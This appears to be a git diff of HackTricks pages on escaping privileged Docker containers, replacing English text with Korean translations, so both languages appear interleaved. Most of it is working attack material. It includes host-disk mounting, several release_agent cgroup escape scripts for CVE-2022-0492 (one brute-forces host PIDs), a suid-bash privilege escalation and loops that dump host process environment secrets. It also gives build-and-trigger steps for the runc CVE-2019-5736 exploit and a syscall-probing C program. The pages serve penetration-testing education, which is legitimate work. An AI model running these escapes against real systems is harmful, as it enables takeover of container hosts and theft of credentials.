특권 플래그만으로도 **호스트의 디스크에 접근**하거나 **release_agent 또는 다른 탈출을 악용하여 탈출**을 시도할 수 있습니다.
다음 우회 방법을 컨테이너에서 실행하여 테스트하십시오:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### 디스크 마운트 - Poc1
#### Mounting Disk - Poc1
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
잘 구성된 도커 컨테이너는 **fdisk -l**과 같은 명령을 허용하지 않습니다. 그러나 `--privileged` 또는 `--device=/dev/sda1` 플래그가 지정된 잘못 구성된 도커 명령에서는 호스트 드라이브를 볼 수 있는 권한을 얻는 것이 가능합니다.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
So to take over the host machine, it is trivial:
따라서 호스트 머신을 장악하는 것은 사소한 일입니다:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
그리고 voilà! 이제 `/mnt/hola` 폴더에 마운트되어 있기 때문에 호스트의 파일 시스템에 접근할 수 있습니다.
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
#### 디스크 마운트 - Poc2
컨테이너 내에서 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기본 호스트 OS에 대한 추가 접근을 시도할 수 있습니다. 아래는 이 공격 벡터를 활용할 수 있는지 확인하기 위해 컨테이너 내에서 확인할 수 있는 몇 가지 일반적인 사항입니다:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### 권한 상승 기존 release_agent 악용 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
Find an **explanation of the technique** in:
다음은 기술에 대한 **설명**입니다:
{{#ref}}
docker-release_agent-cgroups-escape.md
{{#endref}}
#### Privileged Escape Abusing release_agent without known the relative path - PoC3
#### 권한 상승: 상대 경로를 모르는 release_agent 악용 - PoC3
In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isnt always the case. In cases where you **dont know the absolute path of the container inside the host** you can use this technique:
이전의 익스플로잇에서는 **호스트 파일 시스템 내의 컨테이너의 절대 경로가 공개됩니다**. 그러나 항상 그런 것은 아닙니다. 호스트 내의 컨테이너의 **절대 경로를 모르는 경우** 이 기술을 사용할 수 있습니다:
{{#ref}}
release_agent-exploit-relative-paths-to-pids.md
{{#endref}}
```bash
#!/bin/sh
@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -309,9 +282,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Executing the PoC within a privileged container should provide output similar to:
특권 컨테이너 내에서 PoC를 실행하면 다음과 유사한 출력이 제공되어야 합니다:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -339,37 +310,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### 권한 상승 민감한 마운트 악용
#### Privileged Escape Abusing Sensitive Mounts
마운트될 수 있는 여러 파일이 있으며, 이 파일들은 **기본 호스트에 대한 정보를 제공**할 수 있습니다. 이 중 일부는 **호스트에서 무언가가 발생할 때 실행될 수 있는 무언가를 나타낼 수 있습니다** (이는 공격자가 컨테이너에서 탈출할 수 있게 합니다).\
이 파일들의 악용은 다음을 허용할 수 있습니다:
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
The abuse of these files may allow that:
- release_agent (already covered before)
- release_agent (이미 다루어졌음)
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
However, you can find **other sensitive files** to check for in this page:
그러나 이 페이지에서 확인할 수 있는 **다른 민감한 파일**을 찾을 수 있습니다:
{{#ref}}
sensitive-mounts.md
{{#endref}}
### Arbitrary Mounts
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasnt correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys…
### 임의 마운트
여러 경우에 **컨테이너가 호스트에서 일부 볼륨을 마운트하고 있는 것을 발견할 수 있습니다**. 이 볼륨이 올바르게 구성되지 않았다면 **민감한 데이터에 접근/수정할 수 있을지도 모릅니다**: 비밀 읽기, ssh authorized_keys 변경…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Privilege Escalation with 2 shells and host mount
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
컨테이너 내에서 **root로 접근**할 수 있고 호스트에서 **비특권 사용자로 탈출**하여 마운트된 폴더에 대한 읽기 권한이 있는 경우, \
컨테이너 내의 **마운트된 폴더**에 **bash suid 파일**을 생성하고 **호스트에서 실행**하여 권한 상승을 할 수 있습니다.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Privilege Escalation with 2 shells
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
컨테이너 내에서 **root로 접근**할 수 있고 **비특권 사용자로 호스트에 탈출**했다면, 컨테이너 내에서 MKNOD 권한이 있는 경우(기본적으로 있음) 두 개의 셸을 악용하여 **호스트 내에서 privesc**를 수행할 수 있습니다. [**이 포스트에서 설명된 대로**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
이러한 권한을 통해 컨테이너 내의 root 사용자는 **블록 장치 파일을 생성**할 수 있습니다. 장치 파일은 **기본 하드웨어 및 커널 모듈에 접근하기 위해 사용되는 특수 파일**입니다. 예를 들어, /dev/sda 블록 장치 파일은 **시스템 디스크의 원시 데이터를 읽는** 접근을 제공합니다.
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
Docker는 cgroup 정책을 시행하여 컨테이너 내에서 블록 장치 오용을 방지합니다. 이 정책은 **블록 장치 읽기/쓰기 작업을 차단**합니다. 그럼에도 불구하고, 블록 장치가 **컨테이너 내에서 생성되면**, **/proc/PID/root/** 디렉토리를 통해 컨테이너 외부에서 접근할 수 있게 됩니다. 이 접근은 **프로세스 소유자가 컨테이너 내부와 외부에서 동일해야** 합니다.
**Exploitation** 예시는 이 [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)에서 확인할 수 있습니다:
```bash
# On the container as root
cd /
@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
호스트의 프로세스에 접근할 수 있다면, 해당 프로세스에 저장된 많은 민감한 정보에 접근할 수 있게 됩니다. 테스트 랩을 실행하세요:
```
docker run --rm -it --pid=host ubuntu bash
```
예를 들어, `ps auxn`과 같은 명령어를 사용하여 프로세스를 나열하고 명령어에서 민감한 세부정보를 검색할 수 있습니다.
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
그런 다음, **/proc/에서 호스트의 각 프로세스에 접근할 수 있으므로 env 비밀을 훔칠 수 있습니다** 다음을 실행하여:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
You can also **access other processes file descriptors and read their open files**:
다른 프로세스의 파일 디스크립터에 **접근하고 열린 파일을 읽을 수 있습니다**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
You can also **kill processes and cause a DoS**.
당신은 또한 **프로세스를 종료하고 DoS를 유발할 수 있습니다**.
> [!WARNING]
> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
> 만약 당신이 **컨테이너 외부의 프로세스에 대한 권한 있는 접근을 somehow 가지게 된다면**, `nsenter --target <pid> --all` 또는 `nsenter --target <pid> --mount --net --pid --cgroup`와 같은 명령을 실행하여 **해당 프로세스와 동일한 ns 제한**(바라건대 없음) **으로 셸을 실행할 수 있습니다.**
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
컨테이너가 Docker [호스트 네트워킹 드라이버 (`--network=host`)](https://docs.docker.com/network/host/)로 구성된 경우, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않으며(컨테이너는 호스트의 네트워킹 네임스페이스를 공유함), 컨테이너는 자체 IP 주소를 할당받지 않습니다. 다시 말해, **컨테이너는 모든 서비스를 호스트의 IP에 직접 바인딩**합니다. 게다가 컨테이너는 **호스트가 공유 인터페이스 `tcpdump -i eth0`에서 송수신하는 모든 네트워크 트래픽을 가로챌 수 있습니다**.
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
예를 들어, 이를 사용하여 **호스트와 메타데이터 인스턴스 간의 트래픽을 스니핑하고 심지어 스푸핑**할 수 있습니다.
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
Like in the following examples:
다음 예제와 같이:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access).
또한 호스트 내부의 **로컬호스트에 바인딩된 네트워크 서비스**에 접근하거나 **노드의 메타데이터 권한**에 접근할 수 있습니다(이는 컨테이너가 접근할 수 있는 것과 다를 수 있습니다).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
`hostIPC=true`를 사용하면 호스트의 프로세스 간 통신(IPC) 리소스에 접근할 수 있습니다. 예를 들어, `/dev/shm`의 **공유 메모리**와 같은 리소스입니다. 이는 다른 호스트 또는 포드 프로세스에서 동일한 IPC 리소스를 사용하여 읽기/쓰기가 가능하게 합니다. 이러한 IPC 메커니즘을 더 자세히 검사하려면 `ipcs`를 사용하세요.
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further.
- **/dev/shm 검사** - 이 공유 메모리 위치에서 파일을 찾아보세요: `ls -la /dev/shm`
- **기존 IPC 시설 검사** `/usr/bin/ipcs`를 사용하여 어떤 IPC 시설이 사용되고 있는지 확인할 수 있습니다. 다음과 같이 확인하세요: `ipcs -a`
- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
- **Inspect existing IPC facilities** You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
### Recover capabilities
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
### 권한 복구
시스템 호출 **`unshare`**가 금지되지 않은 경우, 다음을 실행하여 모든 권한을 복구할 수 있습니다:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### 사용자 네임스페이스 악용을 통한 심볼릭 링크
### User namespace abuse via symlink
게시물 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)에서 설명된 두 번째 기술은 사용자 네임스페이스와 함께 바인드 마운트를 악용하여 호스트 내부의 파일에 영향을 미치는 방법을 나타냅니다(특정 경우에는 파일 삭제).
The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
## CVE
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
### Runc 취약점 (CVE-2019-5736)
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
`docker exec`를 루트로 실행할 수 있는 경우(아마도 sudo를 사용하여), CVE-2019-5736을 악용하여 컨테이너에서 탈출하여 권한 상승을 시도합니다(취약점 [여기](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). 이 기술은 기본적으로 **컨테이너에서 호스트의 _**/bin/sh**_ 바이너리를 **덮어씁니다**, 따라서 docker exec를 실행하는 모든 사용자가 페이로드를 트리거할 수 있습니다.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## CVEs
### Runc exploit (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
페이로드를 적절히 변경하고 `go build main.go`로 main.go를 빌드합니다. 결과 바이너리는 실행을 위해 도커 컨테이너에 배치되어야 합니다.\
실행 시 `[+] Overwritten /bin/sh successfully`가 표시되면 호스트 머신에서 다음을 실행해야 합니다:
`docker exec -it <container-name> /bin/sh`
This will trigger the payload which is present in the main.go file.
이것은 main.go 파일에 있는 페이로드를 트리거합니다.
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
자세한 정보는: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
> 컨테이너가 취약할 수 있는 다른 CVE도 있으며, [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)에서 목록을 찾을 수 있습니다.
## Docker Custom Escape
## 도커 사용자 정의 탈출
### Docker Escape Surface
### 도커 탈출 표면
- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs).
- **Root user**: By default the user running the process is the root user (however its privileges are limited).
- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape.
- **네임스페이스:** 프로세스는 네임스페이스를 통해 **다른 프로세스와 완전히 분리되어야** 하므로, 네임스페이스로 인해 다른 프로세스와 상호작용하여 탈출할 수 없습니다(기본적으로 IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 `/proc`를 통해 통신할 수 없음).
- **루트 사용자**: 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다(그러나 권한은 제한적입니다).
- **권한**: 도커는 다음 권한을 남깁니다: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **시스템 호출**: **루트 사용자가 호출할 수 없는** 시스템 호출입니다(권한 부족 + Seccomp로 인해). 다른 시스템 호출은 탈출을 시도하는 데 사용될 수 있습니다.
{{#tabs}}
{{#tab name="x64 syscalls"}}
```yaml
0x067 -- syslog
0x070 -- setsid
@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x140 -- kexec_file_load
0x141 -- bpf
```
{{#endtab}}
{{#tab name="arm64 syscalls"}}
```
0x029 -- pivot_root
0x059 -- acct
@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x111 -- finit_module
0x118 -- bpf
```
{{#endtab}}
{{#tab name="syscall_bf.c"}}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```
````
{{#endtab}}
@ -633,12 +574,12 @@ int main()
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
- Find the **path of the containers filesystem** inside the host
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- Have **enough capabilities and disabled protections** to be able to abuse that functionality
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
## References
@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
**자세한 내용은** [**원본 블로그 게시물**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**을 참조하십시오.** 이것은 요약입니다:
Original PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
개념 증명(Proof of Concept, PoC)은 `release_agent` 파일을 생성하고 이를 호출하여 컨테이너 호스트에서 임의의 명령을 실행하는 방법을 보여줍니다. 다음은 관련 단계의 요약입니다:
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
1. **Prepare the Environment:**
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
1. **환경 준비:**
- `/tmp/cgrp` 디렉토리가 cgroup의 마운트 지점으로 사용되도록 생성됩니다.
- RDMA cgroup 컨트롤러가 이 디렉토리에 마운트됩니다. RDMA 컨트롤러가 없는 경우, `memory` cgroup 컨트롤러를 대안으로 사용하는 것이 좋습니다.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Set Up the Child Cgroup:**
- A child cgroup named "x" is created within the mounted cgroup directory.
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
2. **자식 Cgroup 설정:**
- 마운트된 cgroup 디렉토리 내에 "x"라는 이름의 자식 cgroup이 생성됩니다.
- "x" cgroup에 대해 notify_on_release 파일에 1을 작성하여 알림이 활성화됩니다.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Configure the Release Agent:**
- The path of the container on the host is obtained from the /etc/mtab file.
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
3. **릴리스 에이전트 구성:**
- 호스트의 컨테이너 경로는 /etc/mtab 파일에서 가져옵니다.
- 그런 다음 cgroup의 release_agent 파일을 구성하여 획득한 호스트 경로에 위치한 /cmd라는 스크립트를 실행합니다.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Create and Configure the /cmd Script:**
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
4. **/cmd 스크립트 생성 및 구성:**
- /cmd 스크립트는 컨테이너 내에서 생성되며 ps aux를 실행하도록 구성되어 있으며, 출력은 컨테이너 내의 /output이라는 파일로 리디렉션됩니다. 호스트에서 /output의 전체 경로가 지정됩니다.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Trigger the Attack:**
- A process is initiated within the "x" child cgroup and is immediately terminated.
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
5. **공격 시작:**
- "x" 자식 cgroup 내에서 프로세스가 시작되고 즉시 종료됩니다.
- 이로 인해 `release_agent`(즉, /cmd 스크립트)가 트리거되어 호스트에서 ps aux를 실행하고 출력을 컨테이너 내의 /output에 기록합니다.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,27 +1,26 @@
{{#include ../../../../banners/hacktricks-training.md}}
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
자세한 내용은 **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** 블로그 포트를 확인하세요. 이것은 요약입니다:
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
이 기술은 **컨테이너 내에서 호스트 코드를 실행하는 방법**을 설명하며, Kata Containers 또는 특정 `devicemapper` 설정과 같이 호스트의 파일 시스템 경로를 숨기는 스토리지 드라이버 구성으로 인한 문제를 극복합니다.
Key steps:
주요 단계:
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
1. **프로세스 ID (PID) 찾기:** Linux 가상 파일 시스템의 `/proc/<pid>/root` 심볼릭 링크를 사용하여, 컨테이너 내의 모든 파일에 호스트의 파일 시스템을 기준으로 접근할 수 있습니다. 이는 호스트에서 컨테이너의 파일 시스템 경로를 알 필요를 우회합니다.
2. **PID 브루트 포스:** 호스트의 PID를 검색하기 위해 브루트 포스 접근 방식이 사용됩니다. 이는 `/proc/<pid>/root/<file>`에서 특정 파일의 존재 여부를 순차적으로 확인함으로써 수행됩니다. 파일이 발견되면, 해당 PID가 대상 컨테이너 내에서 실행 중인 프로세스에 속함을 나타냅니다.
